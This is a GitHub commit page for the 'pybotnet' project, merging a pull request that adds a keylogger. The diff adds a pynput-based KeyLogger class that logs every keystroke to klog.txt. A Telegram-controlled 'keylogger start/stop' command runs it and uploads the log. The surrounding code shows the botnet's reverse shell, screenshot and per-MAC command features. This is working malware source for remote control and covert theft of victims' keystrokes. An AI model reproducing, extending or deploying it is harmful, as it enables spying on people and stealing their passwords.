Skip to content

Commit

Permalink
Merge pull request #8 from SepehrRasouli/master
Browse files Browse the repository at this point in the history
Added keylogger to pybotnet
  • Loading branch information
onionj committed Sep 20, 2021
2 parents 2cab4db + 3009295 commit 39e04c1
Show file tree
Hide file tree
Showing 4 changed files with 82 additions and 9 deletions.
10 changes: 6 additions & 4 deletions pybotnet/pybotnet.py
@@ -1,12 +1,13 @@
# import built-in & third-party modules
import logging
import re

# import pybotnet modules
from . import util
from . import scripts
from . import settings

# import built-in & third-party modules
import logging
import re



class PyBotNet:
'''
Expand Down Expand Up @@ -57,6 +58,7 @@ def send_message_by_third_party_proxy(self, message):

def get_last_command_by_third_party_proxy(self):
'''return last admin message or False'''
#TODO : it is better to dont run this function every time when running.
return util.get_last_admin_command_by_third_party_proxy(
self.ADMIN_CHAT_ID, self.TELEGRAM_TOKEN,
self.previous_update_id, self.logger)
Expand Down
49 changes: 46 additions & 3 deletions pybotnet/scripts.py
@@ -1,11 +1,12 @@
'''Defult PyBotNet scripts'''
import enum
import re
import os
import subprocess
import requests
import threading
from typing import List
from time import sleep

from uuid import getnode as get_system_mac_addres
from requests import get

Expand All @@ -14,6 +15,8 @@
from . import settings

MAC_ADDRES = str(get_system_mac_addres())
keylogger_thread = None
keylogger_util = None

scripts_name = {
MAC_ADDRES: "`<system MAC_ADDRES> <command>`: run command on one target",
Expand All @@ -36,6 +39,8 @@

"/start": "`/start`: run `help` command!",

"keylogger": "`keylogger start/stop`: Starts keylogger. use keylogger stop to stop keylogger" ,

"reverse_shell": "`<system MAC_ADDRES> reverse_shell`: start reverse shell on target system"
}

Expand All @@ -56,7 +61,6 @@ def is_command(command) -> bool:
return True
return False


def reverse_shell(is_shell, ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger):
''' start reverse shell on target system and send response in telegram bot '''

Expand Down Expand Up @@ -125,6 +129,7 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C
elif command_name == 'ls':
return execute_ls(command, logger)


elif command_name == 'cd':
return execute_cd(command, logger)

Expand All @@ -142,7 +147,9 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C

elif command_name in ['reverse_shell']:
return reverse_shell(is_shell, ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger)


elif command_name == "keylogger" and split_command(command)[1] in ['start','stop']:
return keylogger(logger,command)
logger.error('execute_scripts invalid command; Wrong format')
return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}"

Expand Down Expand Up @@ -407,6 +414,42 @@ def screenshot(logger):
return 'get screenshot Failed'


def keylogger(logger,command):
global keylogger_util,keylogger_thread
"""checks if command[1] is off or on. if on , a thread to start keylogging will start
if off , keylogger thread will stop. this function will handle multiple keyloggers running."""
keylogger_thread_name = "keylog" # for threading , this way we can prevent multiple keyloggers running at the same time
# if user requested keylogger to be turned on
if split_command(command)[1] == 'start':
keylogger_util = util.KeyLogger()
if keylogger_thread_name in (i.name for i in threading.enumerate()):
logger.error('keylogger is already turned on')
return 'keylogger is already turned on'
logger.info('turning keylogger on...')
keylogger_thread = threading.Thread(target=keylogger_util.start,name=keylogger_thread_name)
keylogger_thread.start()
keylogger_thread.join()
logger.info('keylogger turned on.')
return 'Key logger turned on.'

# if user requested keylogger to be turned off
if split_command(command)[1] == 'stop':
try:
keylogger_thread.join()
keylogger_util.stop()
data = upload_manager("klog.txt",logger)
if data[0] == False:
return 'upload failed'
else:
return 'keylogger off. logger txt file => {0}'.format(data[1])
except:
return 'keylogger is already off.'






def command_help(logger):
commands = ''
try:
Expand Down
31 changes: 29 additions & 2 deletions pybotnet/util.py
Expand Up @@ -4,20 +4,46 @@
from . import settings

# import built-in & third-party modules
from typing import List
import datetime
import requests
import json
import platform
import time
import zipfile
import os

from typing import List
from pynput import keyboard
from socket import gethostname, gethostbyname
from uuid import getnode as get_system_mac_addres
from bs4 import BeautifulSoup
from PIL import ImageGrab


class KeyLogger:
'''this class is for keylogger utility , you should only start this class from a threading object.
this way , the keylogger and the app itself will both run at the same time.'''
def __init__(self) -> None:
self.filename = "klog.txt"



def pressed_key(self, key):
"""if a key is presses , this function will be called and it will write data."""
with open(self.filename, 'a',errors='ignore') as logs:
logs.write('{0} {1}\n'.format(str(datetime.datetime.now()),str(key)))

def start(self):
"""starting point of keylogger."""
global listener
listener = keyboard.Listener(on_press=self.pressed_key,)
listener.start()


def stop(self):
"""stops listener"""
global listener
listener.stop()

def get_current_epoc_time() -> float:
return time.time()

Expand Down Expand Up @@ -416,3 +442,4 @@ def screenshot_pil(logger, route: str = ''):
except Exception as error:
logger.info(f'util.screenshot_pil error: {error}')
return False

1 change: 1 addition & 0 deletions requirements.txt
Expand Up @@ -6,3 +6,4 @@ Pillow==8.3.1
requests==2.26.0
soupsieve==2.2.1
urllib3==1.26.6
pynput==1.7.3

0 comments on commit 39e04c1

Please sign in to comment.